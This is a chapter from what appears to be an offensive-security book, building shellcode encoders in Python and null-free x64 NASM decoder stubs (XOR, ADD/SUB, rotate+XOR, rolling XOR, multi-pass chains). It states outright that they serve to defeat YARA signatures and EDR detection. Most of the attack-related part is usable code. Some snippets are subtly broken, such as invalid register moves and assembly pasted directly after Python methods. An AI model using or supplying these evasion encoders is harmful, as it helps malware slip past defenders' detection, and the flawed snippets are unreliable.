Chapter 10

Custom Encoders and Decoders

Single-byte XOR from Chapter 9 solves the null-byte problem, but it's well-understood by every EDR vendor. A YARA rule can identify XOR-encoded shellcode by its decoder stub pattern in a few hundred microseconds. Custom encoders change the shape of the encoded payload and, more importantly, change the decoder stub — the most signatured part. This chapter builds four encoder schemes from scratch, writes their decoder stubs in null-free NASM, chains them in multi-pass mode, and gives you a Python class hierarchy you can extend for any new scheme you design.

Anatomy of an Encoded Payload

Every encoded shellcode has the same three-part structure, regardless of the encoding algorithm:

Encoded payload structure — memory layout at delivery
  ┌──────────────────────────────────────────────────────────────────┐
  │ Part 1: Decoder Stub (~20–100 bytes)                            │
  │   • The only part that executes first, in plaintext form        │
  │   • MUST be null-free (travels through same delivery path)      │
  │   • Gets the address of Part 2, decodes it in-place, jumps to it│
  │   • Contains the decoding key (either hardcoded or derived)     │
  ├──────────────────────────────────────────────────────────────────┤
  │ Part 2: Encoded Payload (N bytes)                               │
  │   • The actual shellcode transformed byte-by-byte               │
  │   • Sits in memory after the stub (or anywhere the stub knows   │
  │     how to find it)                                             │
  │   • Must also be free of bad bytes for the chosen delivery path │
  ├──────────────────────────────────────────────────────────────────┤
  │ Part 3: (Optional) Key or Metadata Trailer                      │
  │   • Some schemes store the key at the end to avoid the decoder  │
  │     having to carry the key as a hardcoded constant             │
  │   • Rolling key, random seed, IV for multi-pass schemes         │
  └──────────────────────────────────────────────────────────────────┘

  Execution flow:
    Instruction pointer → lands on decoder stub
    Decoder stub → locates encoded payload (RIP-relative or call/pop)
    Decoder stub → decodes payload in-place in the allocated RWX memory
    Decoder stub → jmp to decoded payload start
    Decoded payload → executes normally (the original shellcode)

Python Encoder Base Class

Building encoders as a class hierarchy makes it easy to chain multiple passes and compare outputs. All the specific encoders below extend this base:

#!/usr/bin/env python3
"""
encoders.py — extensible shellcode encoder library
Usage:
    enc = XorEncoder(key=0x41)
    encoded = enc.encode(shellcode_bytes)
    assert enc.decode(encoded) == shellcode_bytes
    stub = enc.get_stub()        # null-free NASM assembler bytes for the decoder
    full = enc.get_full_payload(shellcode_bytes)   # stub + encoded payload
"""

import struct, os
from abc import ABC, abstractmethod
from typing import Optional

class ShellcodeEncoder(ABC):
    """Base class for all shellcode encoders."""

    BAD_BYTES_DEFAULT = {0x00}

    @abstractmethod
    def encode(self, payload: bytes) -> bytes:
        """Encode the payload. Must be the inverse of decode()."""
        ...

    @abstractmethod
    def decode(self, encoded: bytes) -> bytes:
        """Decode what encode() produced. Used for verification only."""
        ...

    @abstractmethod
    def get_stub_asm(self) -> str:
        """Return NASM source for the decoder stub."""
        ...

    def has_bad_bytes(self, data: bytes, bad: set = None) -> bool:
        if bad is None: bad = self.BAD_BYTES_DEFAULT
        return any(b in bad for b in data)

    def find_clean_key(self, payload: bytes, key_range=(1, 256),
                       bad: set = None) -> Optional[int]:
        if bad is None: bad = self.BAD_BYTES_DEFAULT
        for key in range(*key_range):
            if key in bad: continue
            encoded = self.encode_with_key(payload, key)
            if not self.has_bad_bytes(encoded, bad):
                return key
        return None

    def encode_with_key(self, payload: bytes, key: int) -> bytes:
        """Override in subclass if key is variable."""
        raise NotImplementedError

    def verify(self, payload: bytes) -> bool:
        """Encode, decode, and verify roundtrip integrity."""
        encoded = self.encode(payload)
        decoded = self.decode(encoded)
        return decoded == payload

    def get_stats(self, payload: bytes) -> dict:
        import math
        encoded = self.encode(payload)
        counts = [0]*256
        for b in encoded: counts[b] += 1
        n = len(encoded)
        entropy = sum(-c/n * math.log2(c/n) for c in counts if c > 0)
        bad_count = sum(1 for b in encoded if b in self.BAD_BYTES_DEFAULT)
        return {
            'original_size': len(payload),
            'encoded_size':  len(encoded),
            'overhead':      len(encoded) - len(payload),
            'bad_bytes':     bad_count,
            'entropy':       round(entropy, 2),
        }


class MultiPassEncoder(ShellcodeEncoder):
    """Chain multiple encoders: last encoder applied first at encode time,
    first encoder's stub runs first at decode time."""

    def __init__(self, encoders: list):
        self.encoders = encoders   # [enc1, enc2, enc3] → encode order: 3→2→1

    def encode(self, payload: bytes) -> bytes:
        result = payload
        for enc in reversed(self.encoders):   # apply in reverse: last first
            result = enc.encode(result)
        return result

    def decode(self, encoded: bytes) -> bytes:
        result = encoded
        for enc in self.encoders:             # decode in forward order
            result = enc.decode(result)
        return result

    def get_stub_asm(self) -> str:
        return "\n".join(enc.get_stub_asm() for enc in self.encoders)

Encoder 1 — Single-Byte XOR

The foundational encoder. Every byte of the payload is XORed with a fixed key byte. Simple, fast, and effective for null-byte elimination. Its weakness: the decoder stub is well-known and signatured.

class XorEncoder(ShellcodeEncoder):
    def __init__(self, key: Optional[int] = None):
        self.key = key   # None = auto-select at encode time

    def encode_with_key(self, payload: bytes, key: int) -> bytes:
        return bytes(b ^ key for b in payload)

    def encode(self, payload: bytes) -> bytes:
        if self.key is None:
            k = self.find_clean_key(payload)
            if k is None:
                raise ValueError("No single-byte XOR key produces null-free output. Use RollingXorEncoder.")
            self.key = k
        return self.encode_with_key(payload, self.key)

    def decode(self, encoded: bytes) -> bytes:
        assert self.key is not None, "Key not set — encode first or provide key"
        return self.encode_with_key(encoded, self.key)  # XOR is its own inverse

    def get_stub_asm(self) -> str:
        return f"""; Single-byte XOR decoder stub
; Key: 0x{self.key:02X}
; Payload length: 
BITS 64
xor_decoder:
    call    .after_call
.after_call:
    pop     rdi                     ; rdi = address of .after_call
    add     rdi, (.payload - .after_call)  ; rdi = payload start
    mov     ecx, PAYLOAD_LEN        ; loop count
.xor_loop:
    xor     byte [rdi], 0x{self.key:02X}
    inc     rdi
    dec     ecx
    jnz     .xor_loop
    sub     rdi, PAYLOAD_LEN
    jmp     rdi
.payload:"""
; Single-byte XOR decoder stub — assembled form
; Replace KEY and PAYLOAD_LEN with your values.
; Verify stub bytes contain no null bytes before use.

BITS 64
section .text
xor_decoder_stub:
    call    .rip_anchor
.rip_anchor:
    pop     rdi                 ; rdi = address of .rip_anchor (6 bytes: E8 00000000 / 5F)
    ; Compute offset to payload (stub size - 5 bytes for call - 1 for pop = known constant)
    add     rdi, (payload - .rip_anchor)    ; rdi → encoded payload

    mov     ecx, PAYLOAD_LEN   ; no null bytes if PAYLOAD_LEN fits in 7-bit value;
                                ; if > 0x7F: use: mov cl, LEN_HIGH / shl ecx, 8 / add cl, LEN_LOW
    ; For PAYLOAD_LEN values with null bytes, use shift construction:
    ; xor ecx, ecx / mov cl, 0x42 / shl ecx, 8 / add cl, 0x00? — still bad
    ; Real solution: encode PAYLOAD_LEN without nulls per Ch09 techniques

.loop:
    xor     byte [rdi], KEY     ; KEY must be a single non-null byte constant
    inc     rdi
    dec     ecx
    jnz     .loop

    sub     rdi, PAYLOAD_LEN
    jmp     rdi                 ; execute decoded shellcode

payload:
    ; Encoded bytes here

Encoder 2 — ADD/SUB

Instead of XOR, add a constant to each byte (modulo 256). The decoder subtracts the same constant. This produces a different byte pattern than XOR and a different stub instruction sequence:

class AddEncoder(ShellcodeEncoder):
    """Encode by adding KEY (mod 256). Decode by subtracting KEY."""

    def __init__(self, key: Optional[int] = None):
        self.key = key

    def encode_with_key(self, payload: bytes, key: int) -> bytes:
        return bytes((b + key) & 0xFF for b in payload)

    def encode(self, payload: bytes) -> bytes:
        if self.key is None:
            self.key = self.find_clean_key(payload)
            if self.key is None:
                # Try all keys, pick one with fewest bad bytes and roll
                raise ValueError("No ADD key produces null-free output. Try RollingXor.")
        return self.encode_with_key(payload, self.key)

    def decode(self, encoded: bytes) -> bytes:
        # Decode = subtract the key
        return bytes((b - self.key) & 0xFF for b in encoded)

    def get_stub_asm(self) -> str:
        # Decode key is 256 - encode_key (i.e., subtract)
        decode_key = (256 - self.key) & 0xFF
        return f"; ADD decoder: sub byte [rdi], 0x{decode_key:02X} per byte"
; ADD/SUB decoder stub
; To decode: subtract KEY from each byte (equivalent to adding 256-KEY)
BITS 64
add_decoder_stub:
    call    .rip_anchor
.rip_anchor:
    pop     rdi
    add     rdi, (payload - .rip_anchor)
    mov     ecx, PAYLOAD_LEN
.loop:
    sub     byte [rdi], DECODE_KEY    ; DECODE_KEY = (256 - encode_key) & 0xFF
                                       ; Choose encode_key so decode_key is non-null too
    inc     rdi
    dec     ecx
    jnz     .loop
    sub     rdi, PAYLOAD_LEN
    jmp     rdi
payload:
XOR vs ADD/SUB — byte pattern comparison for "GetProcAddress"
  Original bytes (ASCII): 47 65 74 50 72 6F 63 41 64 64 72 65 73 73

  XOR key 0x41 encoding:
  Encoded: 06 24 35 11 33 2E 22 00 ← null byte! key 0x41 doesn't work here
  XOR key 0x43 encoding:
  Encoded: 04 26 37 13 31 2C 20 02 27 27 31 26 30 30 → no nulls ✓

  ADD key 0x41 encoding (add 0x41, mod 256):
  Encoded: 88 A6 B5 91 B3 B0 A4 82 A5 A5 B3 A6 B4 B4 → no nulls ✓
           (high bytes — different visual pattern from XOR version)

  Different stub instructions required (add vs xor), producing
  different stub byte sequences → different YARA signatures

Encoder 3 — Rotate + XOR

Each byte is rotated (bit-rotated left or right) and then XORed with a key. Two operations make the decoder stub more distinctive and the byte pattern harder to reverse without knowing the key and rotation amount:

def rotl8(byte: int, n: int) -> int:
    """Rotate byte left by n bits (mod 8)."""
    n %= 8
    return ((byte << n) | (byte >> (8 - n))) & 0xFF

def rotr8(byte: int, n: int) -> int:
    """Rotate byte right by n bits (mod 8)."""
    n %= 8
    return ((byte >> n) | (byte << (8 - n))) & 0xFF

class RotateXorEncoder(ShellcodeEncoder):
    """Encode: rotate_left(byte, ROT) XOR KEY. Decode: XOR KEY, rotate_right."""

    def __init__(self, rot: int = 5, key: Optional[int] = None):
        assert 1 <= rot <= 7, "Rotation must be 1-7 bits"
        self.rot = rot
        self.key = key

    def encode_with_key(self, payload: bytes, key: int) -> bytes:
        return bytes(rotl8(b, self.rot) ^ key for b in payload)

    def encode(self, payload: bytes) -> bytes:
        if self.key is None:
            self.key = self.find_clean_key(payload)
            if self.key is None:
                raise ValueError("No key works for RotateXor. Adjust rotation amount.")
        return self.encode_with_key(payload, self.key)

    def decode(self, encoded: bytes) -> bytes:
        return bytes(rotr8(b ^ self.key, self.rot) for b in encoded)

    def get_stub_asm(self) -> str:
        return f"; RotXOR decoder: xor [rdi], 0x{self.key:02X} / ror byte[rdi], {self.rot}"
; Rotate+XOR decoder stub
; Decode order: first XOR (undo the XOR), then rotate-right (undo the rotate-left)
BITS 64
rotxor_decoder:
    call    .rip_anchor
.rip_anchor:
    pop     rdi
    add     rdi, (payload - .rip_anchor)
    mov     ecx, PAYLOAD_LEN

.loop:
    xor     byte [rdi], XOR_KEY    ; first undo the XOR
    ror     byte [rdi], ROT_AMOUNT ; then undo the rotate-left with rotate-right
    inc     rdi
    dec     ecx
    jnz     .loop

    sub     rdi, PAYLOAD_LEN
    jmp     rdi

payload:

Encoder 4 — Rolling XOR (Chained)

Each byte's key depends on the previous encoded byte, creating a chain. This produces near-perfect distribution (each encoded byte affects all subsequent ones) and makes it statistically almost impossible for any specific bad byte to appear repeatedly:

class RollingXorEncoder(ShellcodeEncoder):
    """
    Encode: encoded[i] = payload[i] XOR prev_encoded_byte
            where prev_encoded_byte starts as initial_key.
    Decode: payload[i] = encoded[i] XOR prev_encoded_byte
            — same operation! XOR is self-inverse.
    """

    def __init__(self, initial_key: Optional[int] = None):
        self.initial_key = initial_key

    def encode(self, payload: bytes) -> bytes:
        if self.initial_key is None:
            # Try initial keys until we find one producing null-free output
            for k in range(1, 256):
                if k == 0: continue
                test = self._encode_with_initial(payload, k)
                if not self.has_bad_bytes(test):
                    self.initial_key = k
                    break
            if self.initial_key is None:
                raise ValueError("No rolling XOR initial key works — very unusual.")
        return self._encode_with_initial(payload, self.initial_key)

    def _encode_with_initial(self, payload: bytes, initial: int) -> bytes:
        encoded = []
        prev = initial
        for b in payload:
            enc = b ^ prev
            encoded.append(enc)
            prev = enc
        return bytes(encoded)

    def decode(self, encoded: bytes) -> bytes:
        decoded = []
        prev = self.initial_key
        for b in encoded:
            dec = b ^ prev
            decoded.append(dec)
            prev = b               # next key = current encoded byte (not decoded)
        return bytes(decoded)

    def get_stub_asm(self) -> str:
        return f"; Rolling XOR decoder: initial_key=0x{self.initial_key:02X}"
; Rolling XOR decoder stub
; prev_key starts as INITIAL_KEY and updates to each encoded byte after processing
BITS 64
rolling_xor_decoder:
    call    .rip_anchor
.rip_anchor:
    pop     rsi                 ; rsi = rip anchor address
    add     rsi, (payload - .rip_anchor)  ; rsi = encoded payload start
    mov     rdi, rsi            ; rdi = write pointer (same as read pointer, decode in-place)
    mov     ecx, PAYLOAD_LEN
    mov     al, INITIAL_KEY     ; al = current key

.loop:
    mov     bl, byte [rsi]      ; bl = encoded byte
    xor     bl, al              ; bl = decoded byte (current ^ prev_encoded)
    mov     al, byte [rsi]      ; al = prev_encoded (update key BEFORE overwriting!)
    mov     byte [rsi], bl      ; write decoded byte back
    inc     rsi
    dec     ecx
    jnz     .loop

    jmp     rdi                 ; jump to decoded payload (rdi = start)

payload:

Multi-Pass Chaining — Stacking Encoders

Chain multiple encoders in sequence. The encoded output of one becomes the input to the next. The decoder stub runs the decoder stubs in reverse order. Chaining disrupts pattern matching across the entire payload and makes static analysis require knowledge of the complete chain:

Multi-pass encoding chain — execution flow
  BUILD TIME (Python):
  ─────────────────────────────────────────────────────────────────
  Original shellcode
      → Encoder 3 (RotateXor, rot=5, key=0x7E) → Intermediate 1
      → Encoder 4 (RollingXor, initial=0x3B)   → Intermediate 2
      → Encoder 1 (XOR, key=0x55)              → Final encoded payload

  The final encoded payload has no signatures from any single scheme.
  The bytes have gone through three transformations.

  ─────────────────────────────────────────────────────────────────
  RUNTIME (in memory, decoder stub executes):
  ─────────────────────────────────────────────────────────────────
  Stub 1 runs → XOR decode (key=0x55)    → restores Intermediate 2
  Stub 2 runs → RollingXor decode        → restores Intermediate 1
  Stub 3 runs → RotateXor decode (rot=5) → restores original shellcode
  Jump → execute original shellcode

  Physical memory layout of full payload:
  ┌─────────────────┐
  │  Stub 1: XOR    │  ← instruction pointer lands here
  │  Stub 2: Rolling│
  │  Stub 3: RotXOR │
  │  [jump to start]│
  ├─────────────────┤
  │  Encoded payload│  ← three passes applied
  └─────────────────┘
#!/usr/bin/env python3
"""demo_multipass.py — demonstrate chained encoding"""

from encoders import XorEncoder, RotateXorEncoder, RollingXorEncoder, MultiPassEncoder

# Load raw shellcode
with open("shellcode.bin", "rb") as f:
    shellcode = f.read()

print(f"Original size: {len(shellcode)} bytes")
print(f"Has nulls: {0x00 in shellcode}")

# Build a three-pass chain
enc = MultiPassEncoder([
    RotateXorEncoder(rot=5, key=None),    # pass 1 (innermost)
    RollingXorEncoder(initial_key=None),   # pass 2
    XorEncoder(key=None),                  # pass 3 (outermost — runs first in decode)
])

# Apply all encoders in sequence
encoded = enc.encode(shellcode)
print(f"Encoded size:  {len(encoded)} bytes")
print(f"Has nulls:     {0x00 in encoded}")

# Verify roundtrip
decoded = enc.decode(encoded)
assert decoded == shellcode, "Roundtrip failed!"
print("Roundtrip verification: PASS ✓")

# Show statistics
import math
counts = [0]*256
for b in encoded: counts[b] += 1
n = len(encoded)
entropy = sum(-c/n * math.log2(c/n) for c in counts if c > 0)
print(f"Encoded entropy: {entropy:.2f} bits/byte")

# Write output
with open("shellcode_encoded.bin", "wb") as f:
    f.write(encoded)
print("Encoded payload written to shellcode_encoded.bin")

Minimizing Decoder Stub Size

In tight shellcode slots, the stub competes with the payload for the available bytes. Here are the actual assembled sizes for each stub, and techniques to minimize them:

Decoder stub size comparison — assembled bytes
  Stub type                           │ Typical assembled size
  ────────────────────────────────────┼──────────────────────
  Single-byte XOR (call/pop style)    │ 25–35 bytes
  ADD/SUB                             │ 25–35 bytes
  Rotate + XOR                        │ 35–45 bytes (two ops per byte)
  Rolling XOR                         │ 30–40 bytes
  Two-pass chain (XOR + Rolling)      │ 50–70 bytes
  Three-pass chain                    │ 75–100 bytes
  ────────────────────────────────────┴──────────────────────

  Size reduction techniques:
  1. Use 32-bit register ops where possible (saves REX prefix = 1 byte each)
     xor ecx, ecx  vs  xor rcx, rcx  (saves 1 byte — use 32-bit, zero-extends)

  2. Use dec ecx / jnz pattern instead of loop (loop is 1 byte but slow)
     dec ecx / jnz → 3 bytes  (F5C9: dec ecx; 75 FB: jnz)
     vs "loop" → 2 bytes: E2 FB  ← actually loop is smaller!
     Use "loop .target" for minimal stub: loop decrements ECX and jumps if nonzero.

  3. Use byte-size displacements in jumps (already done by assembler)
     Short jump (jnz/jmp within -128 to +127): 2 bytes
     Near jump (further): 5 bytes
     Keep the decode loop < 127 bytes from the jump instruction.

  4. Pre-decrement payload length into ECX using xor/inc/shl technique
     if the length constant has null bytes.

  5. Use stosb/lodsb for tight loops:
     cld            ; clear direction flag (forward direction)
     mov esi, rdi   ; source = dest (for in-place decode)
  .loop:
     lodsb          ; al = [rsi], rsi++
     xor al, KEY
     stosb          ; [rdi] = al, rdi++  ← store and advance
     ; But: stosb overwrites destination one byte ahead — same as source. OK for in-place.
     loop .loop     ; decrement ecx, jump if nonzero
; Minimal XOR decoder stub using LODSB/STOSB/LOOP — approximately 20 bytes
BITS 64
minimal_xor_stub:
    ; Get RIP-relative address using call/pop
    jmp     short .skip_call
.do_call:
    pop     rsi                 ; rsi = address after call instruction
    push    rsi                 ; save for later jmp
    cld                         ; direction = forward (DF=0)
    mov     edi, esi            ; edi = same (for stosb — but we need RDI not ESI)
    ; Actually: use rsi for lodsb, rdi for stosb — they need to be the same for in-place:
    mov     rdi, rsi            ; rdi = payload start (32-bit safe if payload < 4GB addr)
    xor     ecx, ecx
    mov     cl, PAYLOAD_LEN_BYTE ; use only if payload len fits in 1 byte (< 256)
.xor_loop:
    lodsb                       ; al = [rsi], rsi++
    xor     al, XOR_KEY
    stosb                       ; [rdi] = al, rdi++
    loop    .xor_loop           ; ECX--, jnz
    pop     rdi                 ; restore payload start address
    jmp     rdi

.skip_call:
    call    .do_call            ; pushes return address (= next instruction = payload start)

Questions & Answers

Does chaining more encoders make the shellcode harder to detect, or just larger?

Both — it depends on the detection method. Against signature-based detection of the decoder stub pattern (YARA matching specific byte sequences), chaining changes the stub structure significantly, defeating stub-specific signatures. Against entropy-based detection, adding more passes doesn't help much — after the first encoding pass, entropy is already near maximum. Against behavioral detection (EDR hooks on VirtualAlloc, memory scanning), chaining adds zero benefit — the decoded payload in memory looks exactly the same regardless of how many encoding passes you used. The most useful chain is usually two passes: one that changes the stub signature, and one that handles bad bytes. Three or more passes provide diminishing returns against real EDRs and add meaningfully to size.

How does the decoder stub know where the encoded payload starts?

Three techniques: (1) call/pop — the stub uses a call that pushes the next instruction's address (which is where the payload starts) and then pops it into a register. This is position-independent and precise. (2) RIP-relative addressing — since the payload immediately follows the stub in the same allocation, you can compute lea rdi, [rip + STUB_REMAINING_SIZE]. This requires knowing the stub size exactly at assembly time. (3) Absolute address — bake the known allocation address into the stub at generation time. Not position-independent; breaks if the OS allocates at a different address, which ASLR does constantly.

Can the decoder stub modify the shellcode in-place, or does it need a second buffer?

In-place modification is the standard approach — it's why you allocate the memory with PAGE_EXECUTE_READWRITE initially. The stub and encoded payload are in the same RWX allocation. The stub writes decoded bytes back over the encoded bytes. After decoding, the same memory region contains the decoded shellcode, and the stub jumps into it. One concern: if the shellcode is delivered into read-only memory and then transferred (injection scenarios that write to a target process), the source buffer is already decoded by the time execution starts, so in-place modification happened in the injecting process before WPM copied it.

What about AMSI scanning of the decoded payload?

AMSI (Anti-Malware Scan Interface) scans buffers submitted by applications and the Windows Script Host. Memory allocated with VirtualAlloc is not automatically scanned by AMSI unless a script engine submits that buffer for scanning. The key insight: AMSI is a userland hook that applications must voluntarily call. A shellcode running natively (after exploitation or injection) doesn't call AMSI — it just runs. The decoder stub approach is not primarily about evading AMSI; it's about evading static analysis of the file or network-level content. AMSI evasion is a separate topic covered in Part 7.

Is rotating bits in a byte actually different enough from XOR to matter for signatures?

Yes, at the instruction level. XOR uses xor byte [rdi], KEY (opcode 80 37 KEY). ROL uses rol byte [rdi], N (opcode C0 07 N). YARA rules for XOR decoders specifically look for 80 3? ?? in decode loops. The rotate operation uses a completely different opcode family and no YARA rules for XOR stubs will match. Combined with a second operation (XOR the rotated value), the stub contains two distinct operations per byte — neither of which matches a standard XOR-only decoder. Against a generic "loop with arithmetic operation" behavioral signature, it still looks like a decoder stub, but against string-match rules targeting the exact instruction bytes, the difference is significant.